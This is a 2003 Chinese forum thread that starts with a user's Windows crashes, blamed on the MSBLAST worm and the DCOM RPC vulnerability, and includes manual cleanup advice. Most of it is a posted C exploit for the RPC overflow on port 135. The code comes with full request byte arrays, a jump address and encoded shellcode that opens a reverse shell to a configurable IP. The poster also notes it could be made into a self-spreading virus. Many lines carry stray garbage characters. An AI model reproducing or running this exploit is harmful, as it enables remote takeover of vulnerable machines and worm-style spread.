我晕的机子！！！！！！！！！

今天上网上了一半，系统弹出意外出错，windows要关机，妈的，关就关，开了上了十几分钟又这样，我晕！！！！！再开机，用瑞星查了，没病毒，优化大师也没查出错误。我就用注册表备份更新了注册表。半小时不到，又来了。我晕！！！！！
) \/ {- _+ o& u7 v% b% P火死了，格了重装了xp。装好后，半小时不到，**你妈了，又来了，
( @! m. x9 F! Q5 T我想，不会是硬件吧。还了linux上，两小时没事。
+ l! q4 v  m; _2 \' s妈的，真的是见鬼了，今天好像是有点衰，但电脑毕竟是死的，怎么也和我过不去啊！！

yzhlinux

嘿嘿，rpc 的漏洞被人黑了啊，还不知道吗？
0 N; t4 J3 q( m/ w9 [赶快打补丁去，即使不被人黑，被rpc的病毒染上更讨厌。

ASEE

我讨厌杀毒软件，因此就喜欢手工杀了，关键是打好补丁（SP之类的，还有RPC补丁），我公司的机器今天全中RPC漏洞病毒，这个病毒还自动检测并生成了一个文件，注册表项也增加了几个调用的键值，程序启动后开了TCP和UDP的N多端口，不断的连接远程的135端口企图进一步的感染，因为我机器上的防火墙对局域网开放着，而且同事的机器都没有防火墙，因此也挨了这个病毒，这个自动生成的文件位于系统目录/WINNT/SYSTEM32下，名字为MSBLAST.EXE，这个文件被另外一个进程SVCHOST.exe启动，并不断的检测内存，因此我杀掉那个SVCHOST.exe进程之后，接着再杀掉MSBLAST.EXE这个进程，然后删除系统目录/WINNT/SYSTEM32的文件和注册表项，之后打SP和RPC补丁，防火墙阻挡所有对我机器135端口的连接，重新启动之后，最后用ACTIVE PORTS检测端口和程序文件，暂且没有事情发生,还在关注中...。

yzhlinux

上上周和 hzzh 讨论了一个下午，他的程序强，window的一系列版本都被包括了，可以在远程开一个帐号或者一个shell，然后悄悄从启动 rpc 服务，让人觉得什么都没有发生，那个时候我就说一定会爆发病毒了，果然马上就出来了。
以下是主要代码（小翅你第一次尝的就是这个）：
void main(int argc,char ** argv)
7 q7 R: ?/ p4 ~7 I5 X) }0 O9 n{
   WSADATA WSAData;
   SOCKET sock;
   int len,len1;
   SOCKADDR_IN addr_in;
- `% v& G+ w9 f" @& k   short port=135;
/ C  l" \+ {  [" ?3 N   unsigned char buf1[0x1000];
3 A/ W5 e" a' p1 V   unsigned char buf2[0x1000];
   unsigned short port1;
7 x  A7 `. \+ d( f. X1 b   DWORD cb;

' H, ?6 y7 e& m: S  }2 |   if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
8 y8 c) S) u9 W0 w" V7 v   {
     printf("WSAStartup error.Error:d\n",WSAGetLastError());
2 c9 r" g8 ^: d9 s6 H: V2 R2 g- R     return;
   }

   addr_in.sin_family=AF_INET;
* N1 U6 w0 M, x& L   addr_in.sin_port=htons(port);
6 ~4 r6 W3 r1 M2 ]8 G3 V0 g$ X   addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
2 e( F( b' `* k# ]7 J$ h* U   
4 T( W6 S" |  S9 ?3 g   if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
; U* f8 ?' r8 j   {
     printf("Socket failed.Error:d\n",WSAGetLastError());
     return;
6 P( k9 l, Y6 G   }
2 F3 K$ h6 D2 z5 j   if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
& h8 R, k: C& i# {% Z$ o   {
/ U& t  {! J% h1 I. z     printf("Connect failed.Error:d",WSAGetLastError());
; R! y6 c5 z' }5 x( d6 v     return;
6 _3 Q7 g2 n- c8 P   }
5 p, d# }; w9 P' E   port1 = htons (2300);                //反向连接的端口
   port1 ^= 0x9393;
# I4 Q  v/ q+ C$ N- Z0 [0 {) g   cb=0X0900A8C0;                                //反向连接的IP地址，这里是192.168.0.9，我的 ip 地址
( m+ e3 m* T) I1 l) S' f   cb ^= 0x93939393;
   *(unsigned short *)&sc[330+0x30] = port1;
   *(unsigned int *)&sc[335+0x30] = cb;
; e5 o$ {6 B' s; T0 K6 n  M, B' ?9 Q   len=sizeof(sc);
: r0 n. A% J0 Q1 }4 D. ~   memcpy(buf2,request1,sizeof(request1));
   len1=sizeof(request1);
5 D/ p: i% J6 [/ g: @7 d* T$ k# E0 e   *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2;                //计算文件名双字节长度
% r9 F0 R( E5 Y   *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;        //计算文件名双字节长度
3 r. H( L8 Z) s) `' @  t   memcpy(buf2+len1,request2,sizeof(request2));
3 c0 v& w2 B' K3 H: u   len1=len1+sizeof(request2);
   memcpy(buf2+len1,sc,sizeof(sc));
& O/ V! b* w# `* y8 g- e0 T   len1=len1+sizeof(sc);
   memcpy(buf2+len1,request3,sizeof(request3));
   len1=len1+sizeof(request3);
   memcpy(buf2+len1,request4,sizeof(request4));
7 i- s( P6 P& C3 n/ ]  X7 w   len1=len1+sizeof(request4);
8 h; `7 ?0 t( z) f, U1 ~   *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
; p) R+ B& D# ?. m8 H   //计算各种结构的长度
3 j; K) d. Z& V# ~   *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
   *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
5 f1 E" {- a$ w   *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
0 d7 M' L( v" j: I" j   *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
   *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
   *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
6 E' ?# B8 A' S( }* e   *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
+ |  ^  G. U! |% l* F   if (send(sock,(char *)bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
8 ]  P# R  X* j  F5 a   {
! c6 p, [" L* C+ C, ~9 Q( _; R        printf("Send failed.Error:d\n",WSAGetLastError());
        return;
9 u! ^: [1 H8 @: Q* ]   }
. h' c' L/ I2 s4 Y   
   len=recv(sock,(char *)buf1,1000,NULL);
   if (send(sock,(char *)buf2,len1,0)==SOCKET_ERROR)
. M" j- l) ?" Y; b   {
. |+ L/ x: K: _* `4 z- [4 {        printf("Send failed.Error:d\n",WSAGetLastError());
        return;
   }
* ^* l: D" B8 K   len=recv(sock,(char *)buf1,1024,NULL);
' i5 K* c7 y- N) U}
其中变量：request4[]，sc[]，request3[]，request2[],request1[],bindstr[] 都是 unsigned char 。
& J+ V; X7 W% \其实他们就是后门 shell 和 溢出的请求，如下：
* s, E" R4 s  g7 T' z! Nunsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
* P& K% F0 {; T6 l9 W0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
  `# ~/ P+ D) Q( a0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
3 v2 C5 y& }2 k9 r2 }1 o3 O$ n* O8 ]0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
/ M9 W  B3 @" L( C& A
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
7 l9 }- E1 x  ~. O' ~5 y6 j,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
. ^- s. T5 Y% Z; {  t* F,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
  s+ l% J& D8 E$ j4 o,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
: m, F$ i! W9 K) X6 C( {,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
+ B0 b, L  [2 `' U; \1 a9 \,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
* i1 f- m7 I0 x' o: `,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
! {- l. p$ m2 c, M% z+ n,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
  L8 r+ J1 o8 `,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
7 d6 }' Y/ w% [3 ~,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
9 m( k' |0 G7 Z8 e! e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
  a! z- u2 G5 s2 T,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
. W# Z2 K+ m4 d# c,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
7 I" l  ~$ L* L+ i* O7 _. N1 u,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
0 L  q0 R* t( {0 b,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
; L7 l4 P5 K7 d6 V2 G1 ~( c: A: T,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
3 w$ Z! t2 q! t9 v" L% n% T4 }! O,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
  w; v% o: r% N. y,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
. [; P3 `  M2 m- M,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
3 I" p; n( L4 w( g2 I  {. T,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
* t! [: @9 m  P& G4 v,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
8 u8 A6 F7 @; V+ u) N, s,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
; F# l  [: v9 b' D,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
2 |7 b/ H) I, s! |1 r! \) Y" G,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
8 o+ Z2 o7 A4 [: O0 y,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
$ @" I) L6 p! ]8 T: d4 B,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
- s5 ^1 [  h  S- `5 J  ],0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
5 f% J* X' X# V* {" C,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
  {& f$ u- h, j* r8 X,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
1 `3 R2 J, N+ [) Y7 ],0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
5 v. X  x; U1 S- |,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
8 E' [; J: `, D/ G,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
! ]6 ?) \  H3 g,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
5 Y( c$ N5 J8 ^2 f, E,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
; ]) e$ p/ j) l: K7 \,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
# E6 @4 G8 |0 t/ e/ l# R0 O,0x00,0x00,0x00,0x00,0x00,0x00};

9 T1 ~- k! T: Y8 s0 t7 `/ u. bunsigned char request2[]={
" F* _6 T5 e, M+ M" h2 O0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

% P+ a) Y! m% t, \1 [6 Yunsigned char request3[]={
7 H7 ?* v4 B8 t7 `7 J0x5C,0x00
% n% ?6 g; n6 f3 T) r, J, T,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
6 I3 _8 K+ h2 k6 w' f' e' t,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
5 t4 `1 {  B+ x: d6 k/ ~# p,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};

$ i# Q* l2 }6 Junsigned char sc[]=
   "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
   "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
   "\x46\x00\x58\x00"
   "\x46\x00\x58\x00\x25\x2b\xaa\x77"                                 //JMP ESP地址 IN ole32.DLL，可能需要自己改动
   "\x38\x6e\x16\x76\x0d\x6e\x16\x76"                                 //需要是可写的内存地址
5 V: J/ T( B6 U                                                                                                     //下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12
, X) o* o/ j( w) ~; s/ }, r8 z                                                                                                     //SHELLCODE不存在0X00，0X00与0X5C
: j+ ~& _2 {& m4 Z   "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
. ]' b* Z7 S  V* e: J7 Z4 w) o   "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
# |  j4 X1 G5 u1 }* p   "\x93\x40\xe2\xfa"                                                           // code
5 E! J8 G7 E6 p: b6 D( K; Z0 C9 d   "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"
* A1 a! u& w/ P+ ^/ c/ o   "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"
   "\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"
! ~3 ~% g) X+ i" c   "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"
( i0 C1 ]" C1 G" a0 A0 M: s   "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"
. t+ P3 X4 y* c: Y   "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"
   "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"
   "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"
   "\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"
4 ^2 w! j6 B* v" o* C   "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"
2 w1 `% Z4 @1 _- M' z3 E1 l1 G   "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"
   "\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
' u" [( {& l+ Y' ^  i   "\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
   "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"
9 K8 ?9 ]* R2 O$ C   "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"
$ f; G& w1 p3 B2 G# T( c/ W   "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"
   "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"
& k/ J8 {) e1 I! W: x+ f4 @   "\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"
, i  q9 h2 c# n" I# V* l3 q# j   "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"
   "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
+ C2 m3 M) }( ?- k/ m8 A: J   "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
   "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
, w+ y/ [0 L. [& k$ v+ H   "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
1 @( ?8 a; F/ m& C   "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
   "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
2 \% t( Y3 E) p; I% D% _, r" E) {4 F
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
+ f# ~( {+ ^8 S" S- f,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
+ y5 }+ d, x; N# n: ?: Y1 c2 `6 E,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
4 x. W: H0 F2 `/ z- u  F};
这就是完整的一个攻击程序了，如果把 后门 shell 换成一个复制自己然后在用这段代码来攻击别人的，那么就是 一个病毒了。
; _* _* \+ n7 M注意：这段代码功能比 hzzh 的要弱，只针对一个window版本，同时为防止没有道德的菜鸟直接编译了就去害人，这里我没有给出头文件。需要的可以和我联系看看。

yzhlinux

注意：
以上代码绝大部分来自 internet ，然后组装而成，也不知道该怎么说版权，大家随意拷贝，可以不注出处。
4 r' e& N) t) K+ G/ u; U! x7 Y
! [& v; G$ n5 H1 m* @
4 K% }, a0 o; h- p4 [6 Z0 j3 M

[此贴子已经被作者于2003-8-13 0:05:25编辑过]

呵呵，早补好了，刚发了贴，就在远望看到了这鸟东东，我怎么这么衰啊，今天一大早就中标，   hzzh 好好厉害啊，小弟佩服啊，多多指教！！！！！！！！！！！

ASEE

你没有确定好JMP ESP地址 IN ole32.DLL地址吧，还是没有确定好内存的地址？HZZH对这个有深入的研究，写出来的自然是多个WINDOWS版本的，上面那些数字SHELL CODE代码真难看懂，一个家伙捆绑了更强大和精巧的SHELL CODE，可以针对N个WIN版本的，叫chDCOM.exe和endcom.EXE，可惜不知道哪里有原代码，要是懂汇编，我反汇编过来瞧个痛快。

yzhlinux

针对n个版本并不是难事，只要收集足够的地址就可以了，然后供选择就可以了。
那些 shell code 这样看怎么可能看得懂？编译的结果啊。

大家说先学vb再学c是不是一种悲哀啊?？、？？？

yzhlinux

当然不是，没有理由这样说。

那你认为呢？

我睡了，明天再看你的答案

yzhlinux

答案很清楚：
我认为多做事，少说话，尤其是废话。而讨论C好还是VB好，先学习C 好还是先学习VB好，那么你应该去学习，管他哪个语言！而不是在这里说。

ASEE

VB就象PHP，我认为，可能我这么说，VB高手们不同意，PHP高手门也不乐意。
9 G6 b  J& z- h' Q呵呵，本人肤浅的认识而已，不要介意，总之C++学到一定程度，什么语言都是小菜。VB，C/C++，PHP管他什么语言，学了再说，精通了再说，做软件不光看语言，而且看架构和思想，我接触的PHP,那些高手照样能写出大型的应用系统，而且使用大量的OO思想来架构系统，真是佩服。
9 q( F( e3 T. w# t, L; O2 w
$ `- ~6 X. f1 O6 J
+ i: O. Q1 H* h' G

[此贴子已经被作者于2003-8-13 11:57:54编辑过]